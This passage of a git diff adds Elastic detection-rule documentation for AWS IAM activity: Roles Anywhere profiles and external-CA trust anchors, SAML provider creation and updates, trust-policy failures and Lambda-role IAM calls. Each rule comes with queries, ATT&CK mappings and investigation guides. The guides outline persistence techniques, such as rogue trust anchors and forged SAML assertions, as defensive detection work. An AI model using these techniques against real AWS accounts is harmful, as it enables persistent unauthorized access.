experienced similar failed updates or bursts. + +- **Recovery and hardening** + - Rotate credentials for any identities involved. + - Limit permissions to modify trust policies (`iam:UpdateAssumeRolePolicy`) to a small set of administrative roles. + - Enable AWS Config rule `iam-role-trust-policy-check` to detect overly permissive or unusual trust relationships. + - Use AWS GuardDuty or Security Hub to monitor for subsequent privilege escalation or reconnaissance findings. + - Review the event against AWS Incident Response Playbook guidance (containment > investigation > recovery > hardening). + + +*Additional information* + + - **https://github.com/aws-samples/aws-incident-response-playbooks/blob/c151b0dc091755fffd4d662a8f29e2f6794da52c/playbooks/[AWS IR Playbooks]** + - **https://github.com/aws-samples/aws-customer-playbook-framework/tree/a8c7b313636b406a375952ac00b2d68e89a991f2/docs[AWS Customer Playbook Framework]** + - **Security Best Practices:** https://aws.amazon.com/premiumsupport/knowledge-center/security-best-practices/[AWS Knowledge Center – Security Best Practices] + + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset: "aws.cloudtrail" + and event.provider: "iam.amazonaws.com" + and event.action: "UpdateAssumeRolePolicy" + and aws.cloudtrail.error_code: "MalformedPolicyDocumentException" + and event.outcome: "failure" + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Discovery +** ID: TA0007 +** Reference URL: https://attack.mitre.org/tactics/TA0007/ +* Technique: +** Name: Permission Groups Discovery +** ID: T1069 +** Reference URL: https://attack.mitre.org/techniques/T1069/ +* Sub-technique: +** Name: Cloud Groups +** ID: T1069.003 +** Reference URL: https://attack.mitre.org/techniques/T1069/003/ +* Technique: +** Name: Account Discovery +** ID: T1087 +** Reference URL: https://attack.mitre.org/techniques/T1087/ +* Sub-technique: +** Name: Cloud Account +** ID: T1087.004 +** Reference URL: https://attack.mitre.org/techniques/T1087/004/ +* Tactic: +** Name: Credential Access +** ID: TA0006 +** Reference URL: https://attack.mitre.org/tactics/TA0006/ +* Technique: +** Name: Brute Force +** ID: T1110 +** Reference URL: https://attack.mitre.org/techniques/T1110/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-aws-iam-roles-anywhere-profile-creation.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-aws-iam-roles-anywhere-profile-creation.asciidoc new file mode 100644 index 0000000000..9034a38e5b --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-aws-iam-roles-anywhere-profile-creation.asciidoc @@ -0,0 +1,190 @@ +[[prebuilt-rule-8-19-34-aws-iam-roles-anywhere-profile-creation]] +=== AWS IAM Roles Anywhere Profile Creation + +Detects the creation of a new AWS IAM Roles Anywhere profile. Roles Anywhere allows workloads or external systems to assume IAM roles from outside AWS by authenticating via trusted certificate authorities (trust anchors). Adversaries who have established persistence through a rogue trust anchor may create or modify profiles to link them with highly privileged roles, enabling long-term external access to the AWS environment. This rule identifies successful "CreateProfile" API calls and helps detect potentially unauthorized or risky external access configurations. + +*Rule type*: query + +*Rule indices*: + +* filebeat-* +* logs-aws.cloudtrail-* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-6m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://docs.aws.amazon.com/rolesanywhere/latest/userguide/introduction.html +* https://docs.datadoghq.com/security/default_rules/cloudtrail-aws-iam-roles-anywhere-trust-anchor-created/ +* https://ermetic.com/blog/aws/keep-your-iam-users-close-keep-your-third-parties-even-closer-part-1/ +* https://docs.aws.amazon.com/rolesanywhere/latest/APIReference/API_CreateProfile.html + +*Tags*: + +* Domain: Cloud +* Data Source: AWS +* Data Source: Amazon Web Services +* Data Source: AWS IAM +* Use Case: Identity and Access Audit +* Tactic: Persistence +* Resources: Investigation Guide +* Noise: Low +* Performance: Normal +* Rule Type: Custom Query (KQL) +* Platform: AWS +* Data Source: AWS CloudTrail +* Service: AWS IAM + +*Version*: 11 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating AWS IAM Roles Anywhere Profile Creation* + + +AWS IAM Roles Anywhere allows external workloads — such as CI/CD runners, on-premises systems, or third-party services — +to assume IAM roles securely by presenting a certificate from a trusted anchor. A profile defines the IAM roles that +can be assumed, the trust anchor they are associated with, and session duration limits. + +This rule detects when a new Roles Anywhere profile is created using the `CreateProfile` API call. Unauthorized profile +creation can enable persistent external access if tied to over-privileged roles or to trust anchors associated with +unauthorized certificate authorities (CAs). Monitoring profile creation is crucial to ensuring that only approved roles +and anchors are in use. + + +*Possible investigation steps* + + +- **Identify the actor** + - Review `aws.cloudtrail.user_identity.arn` and `aws.cloudtrail.user_identity.access_key_id` to determine + which IAM user, role, or principal created the profile. + - Check whether this identity normally manages Roles Anywhere configurations. + +- **Review profile configuration** + - Inspect `aws.cloudtrail.request_parameters` for key values such as: + - `profileName` + - `roleArns` – confirm that the listed IAM roles are expected and not overly permissive. + - `trustAnchorArn` – verify the trust anchor is valid and authorized. + - `durationSeconds` – check for unusually long session durations. + - Determine if multiple roles were attached, which may indicate excessive privilege aggregation. + +- **Correlate related activity** + - Check for prior or concurrent events by the same actor, including: + - `CreateTrustAnchor` with external or unauthorized certificate authorities. + - `CreateRole`, `PutRolePolicy`, or `AttachRolePolicy` for privilege escalation paths. + - Review whether subsequent `AssumeRoleWithCertificate` events occurred, indicating use of the new profile. + +- **Assess the source context** + - Investigate `source.ip`, `user_agent.original`, and `source.geo` fields to identify if this request originated from an unfamiliar host, region, or automation client (e.g., `boto3`, `curl`, custom SDKs). + - Compare to baseline patterns of legitimate IAM or infrastructure automation. + +- **Validate legitimacy** + - Contact the responsible team (e.g., platform, PKI, or IAM administration) to confirm whether this profile creation + aligns with approved change management or onboarding activities. + + + +*False positive analysis:* + + +- **Legitimate administrative actions** + - IAM or PKI engineers may legitimately create profiles during setup of new external integrations or workloads. + Validate against change control records and deployment logs. +- **Authorized automation** + - Infrastructure-as-code (IaC) pipelines (Terraform, CloudFormation, etc.) may automatically create profiles. + Confirm these operations are sourced from known automation accounts or IP ranges. +- **Development and testing** + - Lab or sandbox accounts may test Roles Anywhere configurations with less restrictive controls. + Ensure alerts from non-production accounts are tuned accordingly. + + +*Response and remediation:* + + +- **Immediate review and containment** + - If unauthorized, disable or delete the created profile (`aws rolesanywhere delete-profile`) and review all + associated IAM roles for misuse. + - Rotate any credentials or revoke certificates issued from unapproved trust anchors. + +- **Investigation** + - Search CloudTrail for additional related actions by the same identity, such as + `CreateTrustAnchor`, `AssumeRoleWithCertificate`, or cross-account access attempts. + - Verify whether any sessions have been initiated using the new profile and identify + which roles were assumed. + +- **Recovery and hardening** + - Restrict `rolesanywhere:CreateProfile` to a small set of administrative roles. + - Implement AWS Config or Security Hub controls to alert on unauthorized or overly + permissive Roles Anywhere profiles. + - Audit IAM role trust policies linked to external anchors and ensure adherence to the + principle of least privilege. + - Review and document all approved Roles Anywhere profiles and their corresponding trust anchors. + + +*Additional information* + + +- **https://github.com/aws-samples/aws-incident-response-playbooks/blob/c151b0dc091755fffd4d662a8f29e2f6794da52c/playbooks/[AWS IR Playbooks]** +- **https://github.com/aws-samples/aws-customer-playbook-framework/tree/a8c7b313636b406a375952ac00b2d68e89a991f2/docs[AWS Customer Playbook Framework]** +- **Security Best Practices:** https://aws.amazon.com/premiumsupport/knowledge-center/security-best-practices/[AWS Knowledge Center – Security Best Practices]. + + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset: aws.cloudtrail + and event.provider: rolesanywhere.amazonaws.com + and event.action: CreateProfile + and event.outcome: success + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Account Manipulation +** ID: T1098 +** Reference URL: https://attack.mitre.org/techniques/T1098/ +* Sub-technique: +** Name: Additional Cloud Roles +** ID: T1098.003 +** Reference URL: https://attack.mitre.org/techniques/T1098/003/ +* Tactic: +** Name: Privilege Escalation +** ID: TA0004 +** Reference URL: https://attack.mitre.org/tactics/TA0004/ +* Technique: +** Name: Account Manipulation +** ID: T1098 +** Reference URL: https://attack.mitre.org/techniques/T1098/ +* Sub-technique: +** Name: Additional Cloud Roles +** ID: T1098.003 +** Reference URL: https://attack.mitre.org/techniques/T1098/003/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-aws-iam-roles-anywhere-trust-anchor-created-with-external-ca.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-aws-iam-roles-anywhere-trust-anchor-created-with-external-ca.asciidoc new file mode 100644 index 0000000000..8748b576b6 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-aws-iam-roles-anywhere-trust-anchor-created-with-external-ca.asciidoc @@ -0,0 +1,171 @@ +[[prebuilt-rule-8-19-34-aws-iam-roles-anywhere-trust-anchor-created-with-external-ca]] +=== AWS IAM Roles Anywhere Trust Anchor Created with External CA + +Detects the creation of an AWS IAM Roles Anywhere Trust Anchor that uses an external certificate authority (CA) rather than an AWS-managed Certificate Manager Private CA (ACM PCA). While Roles Anywhere enables secure, short-term credential issuance for workloads outside AWS, adversaries can exploit this feature by registering their own external CA as a trusted root. This allows them to generate valid client certificates that persistently authenticate to AWS roles from any location, even after key rotation or credential revocation events. This rule helps detect persistence or unauthorized federation attempts by flagging trust anchors configured with non-AWS CAs. + +*Rule type*: eql + +*Rule indices*: + +* filebeat-* +* logs-aws.cloudtrail-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-6m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://docs.aws.amazon.com/rolesanywhere/latest/userguide/introduction.html +* https://ermetic.com/blog/aws/keep-your-iam-users-close-keep-your-third-parties-even-closer-part-1/ +* https://docs.aws.amazon.com/rolesanywhere/latest/APIReference/API_CreateTrustAnchor.html + +*Tags*: + +* Domain: Cloud +* Data Source: AWS +* Data Source: Amazon Web Services +* Data Source: AWS IAM +* Use Case: Identity and Access Audit +* Tactic: Persistence +* Resources: Investigation Guide +* Noise: Low +* Performance: Normal +* Rule Type: Event Correlation (EQL) +* Platform: AWS +* Data Source: AWS CloudTrail +* Service: AWS IAM + +*Version*: 10 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating AWS IAM Roles Anywhere Trust Anchor Created with External CA* + + +AWS IAM Roles Anywhere allows workloads outside AWS (such as on-premises servers or CI/CD agents) to assume AWS IAM roles by presenting X.509 certificates. A trust anchor defines which certificate authority (CA) AWS trusts to validate +these external identities. Normally, organizations use AWS Certificate Manager Private CA (ACM PCA) to control issuance +and revocation. + +This detection rule identifies when a trust anchor is created using an **external CA** (`sourceType= "CERTIFICATE_BUNDLE" or "SELF_SIGNED_REPOSITORY"`) rather than an ACM-managed CA (`sourceType="AWS_ACM_PCA"`). This can indicate an adversary establishing persistent external access, enabling them to authenticate using certificates signed by their own CA. + + +*Possible investigation steps* + + +- **Identify the actor** + - Review `aws.cloudtrail.user_identity.arn` and `aws.cloudtrail.user_identity.access_key_id`. + - Determine whether this user or role is normally responsible for IAM configuration or Roles Anywhere setup. + +- **Review the trust anchor details** + - In `aws.cloudtrail.request_parameters`, confirm the `sourceType` and inspect the certificate chain. + - Look for non-AWS issuer names, custom organization fields, or self-signed CA certificates. + +- **Assess the scope and risk** + - Identify which IAM roles are linked to this trust anchor via `Profile` associations. + - Determine whether any of those roles provide privileged or cross-account access. + - Check for subsequent API calls like `CreateProfile`, `CreateRole`, or `AssumeRoleWithCertificate` to gauge whether + the external CA has been used. + +- **Correlate related activity** + - Search for preceding reconnaissance or setup activity: + - `ListTrustAnchors`, `ListProfiles`, `GetRole` + - Attempts to create additional credential paths (`CreateAccessKey`, `CreateOpenIDConnectProvider`) + - Investigate other actions by the same user identity, particularly IAM role or trust policy modifications. + +- **Validate legitimacy** + - Confirm with identity management or security engineering teams whether the external CA is an approved authority. + - Review internal PKI or certificate inventories to ensure this CA is registered in the organization’s trust chain. + + +*False positive analysis* + + +- **Legitimate external CA use** + - Some organizations integrate trusted third-party PKI providers (e.g., Venafi, DigiCert, Entrust) for workload identity management. Validate whether the CA is part of your documented PKI ecosystem. +- **Testing and lab accounts** + - Development or testing environments may temporarily use self-signed certificates to validate Roles Anywhere integrations. + - Confirm that such activity occurs in isolated accounts and not in production. +- **Expected administrative setup** + - Initial configuration by security engineers or platform teams may trigger this rule. Verify via change tickets or + deployment logs before treating as suspicious. + + +*Response and remediation* + + +- **Containment** + - If the CA is unauthorized, immediately delete the trust anchor using + `aws rolesanywhere delete-trust-anchor --trust-anchor-id `. + - Review for any certificates already used to assume roles and revoke those certificates from the external CA. + +- **Investigation** + - Identify all IAM Roles Anywhere profiles linked to the trust anchor (`ListProfiles`). + - Check CloudTrail for any successful `AssumeRoleWithCertificate` calls associated with the external CA. + - Assess whether lateral movement or data exfiltration occurred after the trust anchor creation. + +- **Recovery and hardening** + - Replace unauthorized CAs with ACM PCA-managed ones. + - Restrict `rolesanywhere:CreateTrustAnchor` permissions to security administrators only. + - Monitor for new trust anchor creations and external certificate sources via AWS Config rules or Security Hub findings. + - Implement GuardDuty or Security Hub integrations to detect anomalous IAM and Roles Anywhere behavior. + + +*Additional information* + + +- **https://github.com/aws-samples/aws-incident-response-playbooks/blob/c151b0dc091755fffd4d662a8f29e2f6794da52c/playbooks/[AWS IR Playbooks]** +- **https://github.com/aws-samples/aws-customer-playbook-framework/tree/a8c7b313636b406a375952ac00b2d68e89a991f2/docs[AWS Customer Playbook Framework]** +- **Security Best Practices:** https://aws.amazon.com/premiumsupport/knowledge-center/security-best-practices/[AWS Knowledge Center – Security Best Practices]. + + +==== Rule query + + +[source, js] +---------------------------------- +info where data_stream.dataset == "aws.cloudtrail" + and event.provider == "rolesanywhere.amazonaws.com" + and event.action == "CreateTrustAnchor" + and event.outcome == "success" + and not stringContains(aws.cloudtrail.request_parameters, "sourceType=AWS_ACM_PCA") + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Account Manipulation +** ID: T1098 +** Reference URL: https://attack.mitre.org/techniques/T1098/ +* Sub-technique: +** Name: Additional Cloud Roles +** ID: T1098.003 +** Reference URL: https://attack.mitre.org/techniques/T1098/003/ +* Technique: +** Name: Modify Authentication Process +** ID: T1556 +** Reference URL: https://attack.mitre.org/techniques/T1556/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-aws-iam-saml-provider-created.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-aws-iam-saml-provider-created.asciidoc new file mode 100644 index 0000000000..c49014d56c --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-aws-iam-saml-provider-created.asciidoc @@ -0,0 +1,176 @@ +[[prebuilt-rule-8-19-34-aws-iam-saml-provider-created]] +=== AWS IAM SAML Provider Created + +Detects the creation of a new SAML Identity Provider (IdP) in AWS IAM. SAML providers enable federated authentication between AWS and external identity providers, allowing users to access AWS resources using credentials from the external IdP. Adversaries who have gained administrative access may create rogue SAML providers to establish persistent, federated access to AWS accounts that survives credential rotation. This technique allows attackers to assume roles and access resources by forging SAML assertions from an IdP they control. Creating a SAML provider is a rare administrative action that should be closely monitored and validated against authorized infrastructure changes. + +*Rule type*: query + +*Rule indices*: + +* filebeat-* +* logs-aws.cloudtrail-* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-6m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://docs.aws.amazon.com/IAM/latest/APIReference/API_CreateSAMLProvider.html +* https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles_providers_saml.html +* https://www.cisa.gov/news-events/cybersecurity-advisories/aa23-320a + +*Tags*: + +* Domain: Cloud +* Data Source: AWS +* Data Source: Amazon Web Services +* Data Source: AWS IAM +* Use Case: Identity and Access Audit +* Tactic: Persistence +* Resources: Investigation Guide +* Noise: Low +* Performance: Fast +* Profile: Recommended +* Rule Type: Custom Query (KQL) +* Platform: AWS +* Data Source: AWS CloudTrail +* Service: AWS IAM + +*Version*: 5 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating AWS IAM SAML Provider Created* + + +SAML (Security Assertion Markup Language) providers in AWS IAM enable federated authentication, allowing users from external identity providers to access AWS resources without separate AWS credentials. Creating a SAML provider establishes a trust relationship between AWS and the external IdP. + +This rule detects successful `CreateSAMLProvider` API calls. In most environments, SAML provider creation is extremely rare—typically only occurring during initial SSO setup or major infrastructure changes. An unauthorized SAML provider creation could enable an attacker to maintain persistent access by forging SAML assertions from an IdP they control. + + +*Possible investigation steps* + + +- **Identify the actor** + - Review `aws.cloudtrail.user_identity.arn` to determine who created the SAML provider. + - Verify whether this principal is authorized to manage identity federation. + +- **Review the SAML provider details** + - Examine `aws.cloudtrail.request_parameters` for the SAML provider name and metadata document. + - Identify the external IdP URL and signing certificate in the metadata. + +- **Validate business justification** + - Confirm with identity management or platform teams whether this aligns with planned SSO integration. + - Check for related change tickets or infrastructure-as-code deployments. + +- **Check for follow-on activity** + - Search for `CreateRole` or `UpdateAssumeRolePolicy` calls that reference the new SAML provider. + - Look for `AssumeRoleWithSAML` calls using the newly created provider. + +- **Correlate with other suspicious activity** + - Check for preceding privilege escalation or credential access events. + - Look for other persistence mechanisms being established concurrently. + + +*False positive analysis* + + +- **Planned SSO integration** + - SAML providers are created during initial setup of identity federation with Okta, Azure AD, or other IdPs. + - Validate against documented SSO integration projects. + +- **Infrastructure-as-code deployments** + - Terraform, CloudFormation, or other IaC tools may create SAML providers as part of automated deployments. + - Confirm via CI/CD logs. + + +*Response and remediation* + + +- **Immediate containment** + - If unauthorized, delete the SAML provider using `DeleteSAMLProvider`. + - Review and remove any IAM roles that trust the rogue provider. + +- **Investigation** + - Audit CloudTrail for any `AssumeRoleWithSAML` calls using this provider. + - Review all IAM roles with SAML trust relationships. + +- **Hardening** + - Restrict `iam:CreateSAMLProvider` permissions to a limited set of administrative roles. + - Implement SCPs to control SAML provider creation in member accounts. + - Enable AWS Config rules to monitor identity provider configurations. + + +*Additional information* + +- **https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles_providers_saml.html[AWS IAM SAML Providers Documentation]** +- **https://github.com/aws-samples/aws-incident-response-playbooks/blob/c151b0dc091755fffd4d662a8f29e2f6794da52c/playbooks/[AWS IR Playbooks]** +- **https://github.com/aws-samples/aws-customer-playbook-framework/tree/a8c7b313636b406a375952ac00b2d68e89a991f2/docs[AWS Customer Playbook Framework]** + + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset: "aws.cloudtrail" + and event.provider: "iam.amazonaws.com" + and event.action: "CreateSAMLProvider" + and event.outcome: "success" + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Valid Accounts +** ID: T1078 +** Reference URL: https://attack.mitre.org/techniques/T1078/ +* Sub-technique: +** Name: Cloud Accounts +** ID: T1078.004 +** Reference URL: https://attack.mitre.org/techniques/T1078/004/ +* Technique: +** Name: Account Manipulation +** ID: T1098 +** Reference URL: https://attack.mitre.org/techniques/T1098/ +* Sub-technique: +** Name: Additional Cloud Credentials +** ID: T1098.001 +** Reference URL: https://attack.mitre.org/techniques/T1098/001/ +* Tactic: +** Name: Privilege Escalation +** ID: TA0004 +** Reference URL: https://attack.mitre.org/tactics/TA0004/ +* Technique: +** Name: Domain or Tenant Policy Modification +** ID: T1484 +** Reference URL: https://attack.mitre.org/techniques/T1484/ +* Sub-technique: +** Name: Trust Modification +** ID: T1484.002 +** Reference URL: https://attack.mitre.org/techniques/T1484/002/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-aws-iam-saml-provider-updated.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-aws-iam-saml-provider-updated.asciidoc new file mode 100644 index 0000000000..6a00462125 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-aws-iam-saml-provider-updated.asciidoc @@ -0,0 +1,179 @@ +[[prebuilt-rule-8-19-34-aws-iam-saml-provider-updated]] +=== AWS IAM SAML Provider Updated + +Detects when an AWS IAM SAML provider is updated, which manages federated authentication between AWS and external identity providers (IdPs). Adversaries with administrative access may modify a SAML provider’s metadata or certificate to redirect authentication flows, enable unauthorized federation, or escalate privileges through identity trust manipulation. Because SAML providers underpin single sign-on (SSO) access for users and applications, unauthorized modifications may allow persistent or covert access even after credentials are revoked. Monitoring "UpdateSAMLProvider" API activity is critical to detect potential compromise of federated trust relationships. + +*Rule type*: query + +*Rule indices*: + +* filebeat-* +* logs-aws.cloudtrail-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-6m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://docs.aws.amazon.com/IAM/latest/APIReference/API_UpdateSAMLProvider.html + +*Tags*: + +* Domain: Cloud +* Data Source: AWS +* Data Source: Amazon Web Services +* Data Source: AWS IAM +* Use Case: Identity and Access Audit +* Tactic: Privilege Escalation +* Resources: Investigation Guide +* Noise: Low +* Performance: Normal +* Rule Type: Custom Query (KQL) +* Platform: AWS +* Data Source: AWS CloudTrail +* Service: AWS IAM + +*Version*: 215 + +*Rule authors*: + +* Elastic +* Austin Songer + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating AWS IAM SAML Provider Updated* + + +AWS IAM SAML providers enable federated authentication between AWS and external identity providers (IdPs), +allowing users from trusted domains to access AWS resources without separate credentials. +Updating a SAML provider can modify the trust relationship — including the signing certificate or metadata document — +and, if abused, may allow an attacker to redirect authentication flows or gain access through a malicious or compromised IdP. + +This rule detects successful `UpdateSAMLProvider` API calls that do not originate from AWS Single Sign-On (SSO), +as normal SSO operations are filtered out. These changes can be significant because a single unauthorized update +can affect all federated authentication in the account. + + +*Possible investigation steps* + + +- **Validate the actor and context** + - Review `aws.cloudtrail.user_identity.arn`, `user.name`, and `user_agent.original` to determine who performed the update. + - Confirm if the actor is part of an authorized identity management or platform engineering group. + - Review `source.ip` and `cloud.region` fields for unexpected geolocations, IP ranges, or service origins. + +- **Assess the scope of the modification** + - Parse the `aws.cloudtrail.request_parameters` for updates to `SAMLMetadataDocument` or `Certificate` attributes. + - Compare the new metadata with previous versions (available via AWS CLI or AWS Config) to detect unauthorized IdP URLs, + certificates, or assertion endpoints. + - Identify whether the change replaced a valid trusted certificate with an unknown or self-signed one. + +- **Correlate related IAM and authentication events** + - Look for preceding `CreateSAMLProvider` or `DeleteSAMLProvider` activity, as attackers may replace existing trust entities. + - Search for follow-up logins (`AssumeRoleWithSAML`) or STS tokens issued shortly after the update — this could indicate + immediate exploitation of the new configuration. + - Check for concurrent changes to IAM roles associated with SAML federated access. + +- **Confirm authorization** + - Coordinate with your identity management team to confirm whether the SAML provider update aligns with + planned IdP maintenance or certificate rotation. + + +*False positive analysis* + + +- **Planned SSO certificate rotation** + - Most legitimate SAML provider updates occur during routine certificate renewals by authorized IdP admins. + Validate that the update timing aligns with planned identity provider operations. +- **Automated infrastructure processes** + - CI/CD or configuration-as-code pipelines may automatically update SAML metadata as part of deployment. + Verify whether this activity matches known automation patterns. +- **Third-party IdP integrations** + - Some integrated SaaS applications update SAML providers programmatically. Confirm the vendor and the originating credentials before closing as benign. + + +*Response and remediation* + + +- **Immediate review and containment** + - Retrieve the current SAML provider configuration using the AWS CLI (`aws iam get-saml-provider`) + and compare it with the previous known-good state. + - If unauthorized changes are confirmed, restore the previous configuration or delete the compromised provider. + - Temporarily disable federated login access for affected roles or accounts until validation is complete. + +- **Investigation and scoping** + - Review CloudTrail logs for related IAM configuration changes, including `CreateRole`, `AttachRolePolicy`, or + `UpdateAssumeRolePolicy` events that may expand federated trust scope. + - Identify any `AssumeRoleWithSAML` or `GetFederationToken` events following the update, indicating possible exploitation. + - Cross-check logs from your external IdP to verify if unauthorized assertions or logins were attempted post-update. + +- **Recovery and hardening** + - Limit permissions to modify SAML providers (`iam:UpdateSAMLProvider`) to a dedicated identity management role. + - Enforce change control documentation and peer review for all federation configuration changes. + - Enable AWS Config to monitor and record SAML provider resource configuration history. + + +*Additional information* + +- **https://github.com/aws-samples/aws-incident-response-playbooks/blob/c151b0dc091755fffd4d662a8f29e2f6794da52c/playbooks/[AWS IR Playbooks]** +- **https://github.com/aws-samples/aws-customer-playbook-framework/tree/a8c7b313636b406a375952ac00b2d68e89a991f2/docs[AWS Customer Playbook Framework]** +- **Security Best Practices:** https://aws.amazon.com/premiumsupport/knowledge-center/security-best-practices/[AWS Knowledge Center – Security Best Practices]. + + + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset: "aws.cloudtrail" + and event.provider: "iam.amazonaws.com" + and event.action: "UpdateSAMLProvider" + and event.outcome: "success" + and not (source.address: "sso.amazonaws.com" and user_agent.original: "sso.amazonaws.com") + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Privilege Escalation +** ID: TA0004 +** Reference URL: https://attack.mitre.org/tactics/TA0004/ +* Technique: +** Name: Domain or Tenant Policy Modification +** ID: T1484 +** Reference URL: https://attack.mitre.org/techniques/T1484/ +* Sub-technique: +** Name: Trust Modification +** ID: T1484.002 +** Reference URL: https://attack.mitre.org/techniques/T1484/002/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Domain or Tenant Policy Modification +** ID: T1484 +** Reference URL: https://attack.mitre.org/techniques/T1484/ +* Sub-technique: +** Name: Trust Modification +** ID: T1484.002 +** Reference URL: https://attack.mitre.org/techniques/T1484/002/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-aws-iam-sensitive-operations-via-lambda-execution-role.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-aws-iam-sensitive-operations-via-lambda-execution-role.asciidoc new file mode 100644 index 0000000000..484a73db3d --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-aws-iam-sensitive-operations-via-lambda-execution-role.asciidoc @@ -0,0 +1,167 @@ +[[prebuilt-rule-8-19-34-aws-iam-sensitive-operations-via-lambda-execution-role]] +=== AWS IAM Sensitive Operations via Lambda Execution Role + +Detects successful IAM API calls that create or empower IAM users and roles, attach or embed policies, or wire roles to instance profiles when the caller is an assumed role session associated with AWS Lambda. Serverless execution roles are often over-permissioned; an adversary who can run or compromise function code can abuse these APIs for privilege escalation and persistence—for example creating users or roles, issuing keys, attaching managed or inline policies, or preparing EC2 instance profiles for lateral movement. + +*Rule type*: query + +*Rule indices*: + +* filebeat-* +* logs-aws.cloudtrail-* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-6m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://docs.aws.amazon.com/lambda/latest/dg/lambda-intro-execution-role.html +* https://hackingthe.cloud/aws/exploitation/iam_privilege_escalation/ +* https://docs.aws.amazon.com/IAM/latest/APIReference/API_CreateUser.html + +*Tags*: + +* Domain: Cloud +* Domain: Identity +* Data Source: AWS +* Data Source: Amazon Web Services +* Data Source: AWS IAM +* Data Source: AWS Lambda +* Use Case: Threat Detection +* Tactic: Privilege Escalation +* Tactic: Persistence +* Resources: Investigation Guide +* Noise: Low +* Performance: Normal +* Rule Type: Custom Query (KQL) +* Platform: AWS +* Data Source: AWS CloudTrail +* Service: AWS IAM +* Service: AWS Lambda + +*Version*: 2 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating AWS IAM Sensitive Operations via Lambda Execution Role* + + +Lambda functions run under an **execution role**. When that role calls sensitive IAM control-plane APIs—user and group +changes (`CreateUser`, `AddUserToGroup`, …), user or role policies (`AttachUserPolicy`, `PutUserPolicy`, +`AttachRolePolicy`, `PutRolePolicy`), role and instance-profile wiring (`CreateRole`, `CreateInstanceProfile`, +`AddRoleToInstanceProfile`), or `CreateAccessKey`—CloudTrail typically records `user_identity.type` as `AssumedRole` and +may set `user_identity.invoked_by` to `lambda.amazonaws.com`. The session issuer ARN often references the Lambda service +or the execution role. + + +*Possible investigation steps* + + +- Parse `aws.cloudtrail.user_identity.arn` for the assumed-role session (function name or request id) and map it to the + Lambda function and deployment path in the same account. +- Review `aws.cloudtrail.request_parameters` for targets such as `userName`, `groupName`, `roleName`, `policyArn`, + `instanceProfileName`, or access key subject. +- Compare `user_agent.original` and `source.ip` to expected Lambda service patterns; correlate with CloudWatch Logs for + the function around `@timestamp`. +- Hunt ±30 minutes for follow-on IAM, `sts:AssumeRole`, or data-plane access using any new credentials. + + +*False positive 